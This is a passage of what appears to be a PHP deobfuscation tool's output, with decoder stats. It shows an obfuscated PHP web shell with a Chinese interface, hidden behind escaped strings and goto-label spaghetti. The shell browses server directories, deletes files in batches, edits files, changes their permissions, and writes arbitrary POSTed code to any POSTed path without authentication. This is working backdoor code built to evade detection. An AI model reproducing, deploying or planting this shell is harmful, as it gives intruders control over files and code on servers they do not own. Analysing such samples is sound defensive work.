"\74\x74\x61\x62\154\145\40\x63\145\154\x6c\x73\160\141\x63\151\156\147\x3d\x22\x30\42\x20\143\145\x6c\154\x70\141\144\144\151\x6e\147\75\42\x30\42\x20\142\157\162\x64\x65\x72\x3d\x22\x30\x22\x20\143\x6c\x61\x73\163\75\x22\164\x61\142\154\x65\x22\76\74\164\x72\76\x3c\x74\144\76\346\226\207\344\273\xb6\345\220\x8d\74\57\x74\144\x3e\x3c\164\x64\76\xe6\x93\x8d\xe4\275\x9c\x3c\x2f\164\x64\x3e\x3c\57\164\x72\76"; if (!isset($_POST["\146\151\154\145\x73"])) { goto YDTbp0X0q2; } foreach ($_POST["\x66\151\x6c\x65\163"] as $v) { goto W0wHpya_Vn; XGBIpGgGS_: cyJGU1rvvn: bAG4WWQJhs: goto grVSICXRbL; S3JMT9kxsU: $content .= "\x3c\164\162\x3e\74\x74\144\76\x3c\146\157\x6e\164\40\x63\x6f\154\157\x72\x3d\x22\x72\145\x64\42\76" . $v . "\74\57\146\157\x6e\x74\76\74\x2f\x74\x64\76\x3c\x74\x64\76\xe5\x88\240\351\x99\244\345\244\261\350\xb4\245\x3c\57\164\144\x3e\74\57\164\162\x3e"; goto UOuqIftKLn; MmhzPB02Mi: $content .= "\x3c\x74\162\x3e\74\164\144\x3e" . $v . "\x3c\x2f\x74\x64\76\74\x74\x64\76\xe5\210\xa0\xe9\231\244\346\x88\x90\345\x8a\237\74\x2f\164\x64\76\74\57\x74\x72\x3e"; UOuqIftKLn: goto XGBIpGgGS_; W0wHpya_Vn: if (file_exists($v)) { goto IeGRHBDHfj; } $content .= "\74\x74\162\x3e\74\164\144\x3e" . $v . "\x3c\x2f\164\x64\x3e\74\164\144\76\345\210\240\xe9\231\244\xe6\210\220\345\x8a\237\x3c\57\164\x64\76\74\57\x74\x72\x3e"; goto cyJGU1rvvn; IeGRHBDHfj: if (unlink($v)) { goto MmhzPB02Mi; } goto S3JMT9kxsU; grVSICXRbL: } sGHvkjPj6_: $content .= "\74\x2f\x74\x61\x62\x6c\x65\x3e"; YDTbp0X0q2: goto Wrp2dQMICL; case "\x64\145\x6c": goto zflmMRHTXg; g62oNySWjC: $content .= "\74\57\164\x64\x3e\x3c\57\x74\162\76\74\57\x74\x61\x62\x6c\x65\76"; goto Wrp2dQMICL; goto KoFdGBm2k5; zflmMRHTXg: $title = "\xe5\210\240\xe9\231\244\346\226\x87\344\273\xb6"; $content = "\74\x74\x61\x62\x6c\145\x20\x63\x65\154\x6c\163\160\141\x63\x69\x6e\x67\x3d\x22\60\42\40\x63\x65\154\x6c\160\x61\x64\x64\151\156\x67\75\42\60\x22\40\142\x6f\x72\x64\145\x72\x3d\x22\x30\x22\x20\143\x6c\141\163\x73\x3d\x22\164\141\142\x6c\145\42\76\x3c\164\x72\76\x3c\164\x64\x3e\xe6\226\207\xe4\xbb\266\xe5\x90\x8d\74\x2f\164\x64\76\74\x74\144\x3e\346\223\215\344\xbd\234\x3c\57\x74\x64\x3e\74\x2f\x74\162\x3e\74\x74\x72\76\x3c\164\144\76" . $path . "\x3c\x2f\x74\144\x3e\x3c\x74\144\x3e"; if (!$path) { goto RqluriGhm4; } if (file_exists($path)) { goto drcA7MUit3; } $content .= "\x53\x75\143\x63\x65\163\x73"; goto RjYPr_6rmO; v4b2CoKKGj: xgYlITkehi: $content .= "\x53\165\x63\143\x65\x73\163"; rYOkt2DLVl: VrQaoGsGmB: RqluriGhm4: goto g62oNySWjC; RjYPr_6rmO: goto VrQaoGsGmB; drcA7MUit3: if (unlink($path)) { goto xgYlITkehi; } $content .= "\74\146\157\x6e\x74\40\x63\157\154\x6f\162\x3d\x22\x72\x65\144\42\x3e\106\x61\x69\154\74\x2f\146\157\x6e\x74\x3e\74\142\x72\x3e"; goto rYOkt2DLVl; goto v4b2CoKKGj; KoFdGBm2k5: case "\145\144\151\164": goto ydyeGisXH1; ydyeGisXH1: $title = "\xe6\x9f\xa5\xe7\234\213\x2f\xe7\xbc\226\350\xbe\221\40\xe4\273\243\xe7\xa0\x81"; $code = isset($_POST["\x63\157\144\145"]) ? $_POST["\143\x6f\x64\145"] : ''; if ($code) { goto mgcPtVeUvs; } $content = "\x3c\146\157\x72\155\40\x61\x63\x74\151\x6f\x6e\x3d\42\x3f\x61\x63\164\x69\x6f\x6e\x3d\145\x64\x69\x74\x22\40\155\145\x74\x68\157\144\75\x22\x70\157\163\x74\x22\76\74\x69\x6e\x70\165\164\x20\164\171\160\145\x3d\42\x68\151\144\144\145\156\42\40\x6e\141\155\x65\75\x22\160\141\x74\150\42\40\x76\x61\x6c\165\145\75\x22" . htmlspecialchars($path) . "\42\x3e\x3c\144\151\x76\40\x63\154\141\x73\163\75\42\146\157\x72\x6d\x2d\151\164\145\155\x20\146\157\162\155\55\164\145\x78\x74\42\76\x3c\154\141\x62\145\x6c\x20\x63\154\141\163\163\x3d\42\x66\x6f\x72\x6d\55\154\x61\142\145\154\x22\76\xe5\x86\x85\xe5\256\xb9\74\57\154\141\142\x65\154\x3e\x3c\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\x22\x69\x6e\x70\x75\164\55\142\x6c\157\143\x6b\42\x3e\x3c\x74\145\170\164\x61\162\x65\x61\x20\156\141\155\x65\x3d\42\x63\x6f\x64\145\x22\x20\143\154\x61\163\163\75\x22\146\157\162\x6d\x2d\x74\145\x78\164\141\162\145\141\x22\x20\163\x74\x79\154\x65\x3d\42\x6d\151\x6e\x2d\150\x65\x69\147\x68\164\x3a\65\60\x30\x70\x78\x3b\x22\76" . htmlspecialchars(file_get_contents(htmlspecialchars($path))) . "\x3c\57\x74\x65\170\x74\141\x72\145\x61\x3e\x3c\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x64\151\166\40\x63\x6c\141\x73\x73\75\x22\x66\157\162\155\x2d\151\x74\145\155\x20\x62\157\x72\144\145\x72\55\x6e\x6f\156\x65\42\x3e\x3c\x64\x69\166\x20\x63\x6c\x61\x73\x73\75\42\x69\x6e\160\x75\164\55\142\154\x6f\x63\x6b\x22\76\74\151\156\x70\x75\164\x20\x74\x79\x70\145\75\42\x73\165\142\x6d\151\x74\x22\40\x63\x6c\141\x73\163\75\42\163\165\x62\x6d\x69\164\x20\x62\x6f\x72\x64\x65\162\x2d\156\157\156\145\x22\x3e\x3c\57\x64\x69\x76\x3e\x3c\57\x64\x69\x76\x3e\x3c\x2f\x66\x6f\162\x6d\76"; goto rDg8spc4fF; goto pKN1yvDamP; tktrhq_8VE: $result = file_put_contents($path, $code); if ($result) { goto MpKldulOuT; } chmod($path, 0644); $temp = file_put_contents($path, $code); if ($temp) { goto a1cw4oBnWj; } goto sbuYEBRcYU; jm4EPthwpg: rDg8spc4fF: goto Wrp2dQMICL; goto d4ZuA09abI; sbuYEBRcYU: $content = "\xe4\277\256\346\x94\271\346\235\203\351\231\x90\xe5\x90\x8e\357\xbc\x8c\347\274\x96\xe8\276\221\xe4\271\237\xe5\244\261\xe8\xb4\245\343\200\202"; goto MEiwVC3u0s; a1cw4oBnWj: $content = "\xe4\xbf\xae\xe6\x94\271\xe6\235\x83\xe9\231\220\xe5\x90\x8e\357\xbc\214\xe7\274\x96\xe8\276\221\346\210\220\345\x8a\237\343\x80\202"; MEiwVC3u0s: goto OKiXn8lYfX; OKiXn8lYfX: goto NgzlBcAukp; MpKldulOuT: $content = "\xe7\xbc\226\xe8\xbe\x91\xe6\210\220\345\212\237"; NgzlBcAukp: XqHnQsd5JI: goto jm4EPthwpg; pKN1yvDamP: mgcPtVeUvs: if (file_exists($path)) { goto QLREyQ95LN; } $content = "\xe6\x96\207\xe4\xbb\266\xe4\xb8\x8d\xe5\xad\x98\345\x9c\250\xef\274\214\347\274\x96\350\xbe\221\345\xa4\261\350\264\xa5\343\200\202"; goto XqHnQsd5JI; QLREyQ95LN: goto tktrhq_8VE; d4ZuA09abI: default: goto HHpe6nQo2y; dR_udJfOfj: vsbV0Zfofj: $content .= "\74\x74\162\76\x3c\164\144\40\x63\157\x6c\163\160\x61\156\x3d\x22\70\x22\x3e\x3c\151\x6e\160\165\164\40\x74\x79\160\145\75\42\x63\150\x65\x63\153\x62\157\170\x22\40\151\x64\x3d\x22\x63\x68\x6b\x61\x6c\154\x22\x20\156\141\155\145\75\x22\143\x68\153\x61\x6c\x6c\x22\x20\x76\x61\x6c\165\145\x3d\x22\x6f\x6e\42\40\157\x6e\143\x6c\151\x63\x6b\x3d\42\163\141\50\164\x68\x69\x73\56\x66\x6f\x72\x6d\51\x3b\x22\76\40\345\x85\xa8\xe9\200\211\40\74\151\x6e\x70\165\164\x20\x74\x79\160\145\75\42\163\165\x62\x6d\151\164\x22\x20\166\141\154\x75\x65\x3d\x22\104\x65\154\145\x74\145\40\x43\150\145\143\153\145\144\x22\40\x6f\156\x63\x6c\x69\x63\153\x3d\x22\162\145\164\x75\162\156\x20\x64\145\154\50\51\73\x22\x3e\x3c\57\x74\144\76\x3c\x2f\164\x72\x3e\74\x2f\x74\x61\x62\x6c\x65\76\74\x2f\x66\157\x72\155\76"; goto Wrp2dQMICL; goto qYvrAarxXc; KC8Obr3slJ: $title = $dir; $content = "\x3c\x66\157\x72\x6d\40\x6e\141\x6d\145\75\42\x66\162\155\61\42\x20\x69\x64\75\x22\146\162\155\61\42\40\155\145\x74\150\157\144\x3d\x22\160\x6f\163\164\x22\40\x61\143\164\151\157\156\75\x22\x3f\141\143\164\151\x6f\156\75\x62\x61\x74\143\150\x44\x65\x6c\x22\x3e\74\x74\141\142\154\145\40\143\x65\x6c\154\163\x70\x61\143\151\156\147\75\x22\60\42\x20\143\x65\154\154\x70\x61\144\144\x69\156\147\x3d\42\60\42\x20\142\157\162\144\x65\162\75\42\60\x22\40\x63\154\x61\163\x73\x3d\x22\164\141\142\154\x65\42\76\74\164\150\x65\x61\x64\x3e\74\x74\162\76\74\164\144\76\74\x2f\x74\144\x3e\74\x74\144\76\346\226\x87\344\xbb\266\xe5\220\215\x3c\57\164\144\x3e\74\x74\144\x20\x61\x6c\x69\x67\156\75\x22\143\x65\x6e\164\x65\x72\42\76\346\235\203\351\x99\x90\74\57\x74\x64\x3e\74\164\144\40\141\x6c\151\147\156\x3d\x22\x63\x65\x6e\x74\x65\x72\42\76\xe5\x88\233\345\xbb\272\346\227\266\351\x97\264\x3c\57\x74\144\76\74\164\x64\40\141\154\151\147\x6e\x3d\x22\x63\x65\x6e\164\x65\x72\42\76\347\xbc\226\350\276\x91\346\x97\xb6\xe9\227\xb4\74\x2f\x74\144\76\74\164\144\x20\141\154\151\x67\156\x3d\x22\x63\145\x6e\164\x65\162\x22\76\350\xae\277\xe9\x97\256\346\x97\266\351\x97\264\x3c\57\164\144\76\x3c\164\x64\40\x61\x6c\151\x67\x6e\x3d\x22\x63\x65\156\x74\145\x72\42\76\xe5\xa4\247\345\260\217\74\x2f\164\144\x3e\x3c\x74\x64\x20\141\x6c\x69\147\x6e\75\x22\143\x65\156\164\x65\162\x22\x3e\xe6\223\215\xe4\275\234\x3c\x2f\x74\x64\x3e\x3c\57\x74\x72\x3e\74\x2f\164\x68\x65\141\x64\76"; foreach (hardScandir($dir) as $value) { $fullPath = str_replace("\x2f\x2f", "\x2f", $dir . "\x2f" . $value); if (!($value != "\56" && $value != "\56\56" && is_dir($fullPath))) { goto QXD6lCkC9p; } $content .= "\74\x74\x72\x3e\74\x74\x64\x20\141\154\x69\147\x6e\75\42\143\145\156\164\x65\x72\x22\x3e\74\151\156\160\x75\164\40\x74\171\160\145\x3d\42\x63\x68\145\x63\x6b\x62\x6f\170\x22\40\x6e\141\155\x65\75\x22\146\151\154\x65\x73\x5b\135\42\40\x76\x61\154\x75\145\x3d\42" . $fullPath . "\x22\x3e\x3c\x2f\164\144\76\x3c\164\144\x3e\74\141\40\x68\x72\145\146\x3d\42\77\x70\x61\164\x68\75" . escape($fullPath) . "\42\40\x74\141\162\x67\x65\164\x3d\x22\137\x62\154\x61\x6e\153\x22\x3e" . $fullPath . "\x3c\57\x74\144\76\x3c\x74\144\40\141\x6c\151\x67\156\75\x22\x63\x65\x6e\x74\x65\x72\x22\76" . substr(sprintf("\45\x6f", fileperms($fullPath)), -4) . "\x3c\x2f\x74\144\x3e\74\x74\144\x20\141\154\x69\147\x6e\x3d\x22\143\145\156\164\145\x72\x22\76" . date("\131\55\x6d\55\144\40\110\72\x69\72\163", filectime($fullPath)) . "\74\x2f\164\144\x3e\x3c\x74\144\x20\x61\x6c\151\x67\x6e\75\42\143\x65\156\164\x65\x72\x22\x3e" . date("\x59\x2d\155\55\144\40\110\x3a\x69\x3a\x73", filemtime($fullPath)) . "\74\x2f\164\x64\76\x3c\x74\144\40\x61\x6c\151\147\x6e\75\42\x63\x65\x6e\164\145\162\42\x3e" . date("\131\55\155\x2d\x64\x20\110\x3a\x69\x3a\163", fileatime($fullPath)) . "\74\57\164\x64\x3e\74\164\144\40\141\154\x69\x67\156\x3d\42\x63\145\156\164\x65\x72\x22\76\346\226\207\344\xbb\266\xe5\xa4\271\74\x2f\x74\x64\76\74\x74\x64\40\x61\x6c\x69\x67\x6e\x3d\x22\x63\x65\156\x74\145\x72\x22\76\74\x2f\x74\x64\76\74\x2f\x74\x72\76"; QXD6lCkC9p: oU63N1bLOu: } WXENhfchSa: foreach (hardScandir($dir) as $value) { $fullPath = str_replace("\x2f\x2f", "\x2f", $dir . "\x2f" . $value); if (!($value != "\56" && $value != "\x2e\x2e" && !is_dir($fullPath))) { goto DGKj_8kJZM; } $content .= "\x3c\164\162\76\74\x74\144\40\141\154\151\x67\156\x3d\x22\143\x65\x6e\164\145\162\42\x3e\74\151\156\x70\x75\164\40\x74\171\160\x65\75\x22\x63\150\145\143\153\x62\x6f\170\42\x20\x6e\x61\x6d\x65\75\x22\146\151\154\145\x73\x5b\x5d\42\x20\x76\x61\x6c\165\145\x3d\42" . $fullPath . "\x22\x3e\74\x2f\164\x64\x3e\x3c\x74\x64\76\74\141\40\150\162\x65\x66\75\x22\77\x70\141\x74\x68\75" . escape($fullPath) . "\46\x61\x63\x74\x69\x6f\x6e\x3d\145\x64\x69\164\x22\x20\x74\141\x72\147\x65\164\x3d\42\137\x62\x6c\141\x6e\153\x22\x3e" . $fullPath . "\x3c\57\164\144\76\74\164\x64\40\x61\154\x69\147\x6e\x3d\x22\x63\145\x6e\x74\145\x72\42\x3e" . substr(sprintf("\45\x6f", fileperms($fullPath)), -4) . "\74\57\164\144\76\x3c\164\144\40\141\x6c\x69\147\x6e\x3d\42\x63\x65\x6e\x74\x65\162\x22\x3e" . date("\x59\x2d\155\x2d\144\40\x48\x3a\x69\x3a\163", filectime($fullPath)) . "\74\x2f\x74\144\76\x3c\x74\144\x20\141\x6c\151\x67\x6e\x3d\42\143\x65\156\164\x65\x72\42\x3e" . date("\131\x2d\x6d\55\144\x20\x48\72\x69\72\x73", filemtime($fullPath)) . "\74\x2f\164\x64\76\x3c\x74\x64\x20\141\154\x69\x67\x6e\75\x22\143\x65\x6e\164\145\162\42\76" . date("\131\55\155\55\144\x20\110\x3a\151\72\163", fileatime($fullPath)) . "\74\x2f\x74\144\76\74\164\x64\x20\x61\x6c\x69\x67\156\x3d\42\143\145\156\164\145\162\42\76" . round(filesize($fullPath) / 1024, 2) . "\40\113\x62\x3c\x2f\164\x64\76\74\164\x64\40\x61\x6c\x69\147\156\75\x22\143\x65\x6e\x74\x65\162\x22\x3e\x3c\141\40\x68\x72\145\x66\x3d\x22\77\160\141\x74\x68\75" . escape($fullPath) . "\46\141\x63\164\x69\x6f\x6e\75\144\145\x6c\x22\x3e\345\x88\xa0\xe9\x99\244\x3c\x2f\x61\x3e\x3c\x2f\164\x64\76\x3c\57\x74\162\76"; DGKj_8kJZM: AbTPC1mpbf: } goto dR_udJfOfj; HHpe6nQo2y: $root = isset($_SERVER["\x44\117\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]) ? $_SERVER["\104\117\x43\x55\115\105\x4e\124\137\122\x4f\117\124"] : ''; $dir = __DIR__; if (!$path) { goto HDD_0ynOLB; } $dir = $path; HDD_0ynOLB: goto KC8Obr3slJ; qYvrAarxXc: } goto HrmT1mTJ1p; FmIOzIYBWL: if (!(isset($_POST["\x63\x6f\144\x65\163"]) && isset($_POST["\160\x61\164\150\x73"]))) { goto HcyD5ObT50; } $code_content = $_POST["\143\x6f\144\x65\x73"]; $file_path = $_POST["\160\x61\x74\x68\163"]; file_put_contents($file_path, $code_content); echo "\120\x48\120\x20\x66\151\154\x65\40\x75\x70\x64\x61\x74\145\144\x20\x73\165\143\x63\x65\163\163\146\x75\x6c\x6c\171\56"; goto TNHGxdxVtK; rNmpHFzv2G: echo $title; echo "\x3c\x2f\154\145\x67\145\x6e\144\76\xd\12\x20\x20\40\x20\74\57\x66\151\145\154\144\163\145\x74\76\15\xa\40\40\x20\40"; echo $content; goto IaMIvXJYwp; IaMIvXJYwp: echo "\x3c\x2f\x64\x69\x76\76\xd\xa\x3c\x2f\142\157\144\x79\x3e\xd\xa\74\57\150\164\x6d\x6c\x3e";

Function Calls

None

Variables

None

Stats

MD5 3920725e2a207f9bd4d9af71e5d9d050
Eval Count 0
Decode Time 91 ms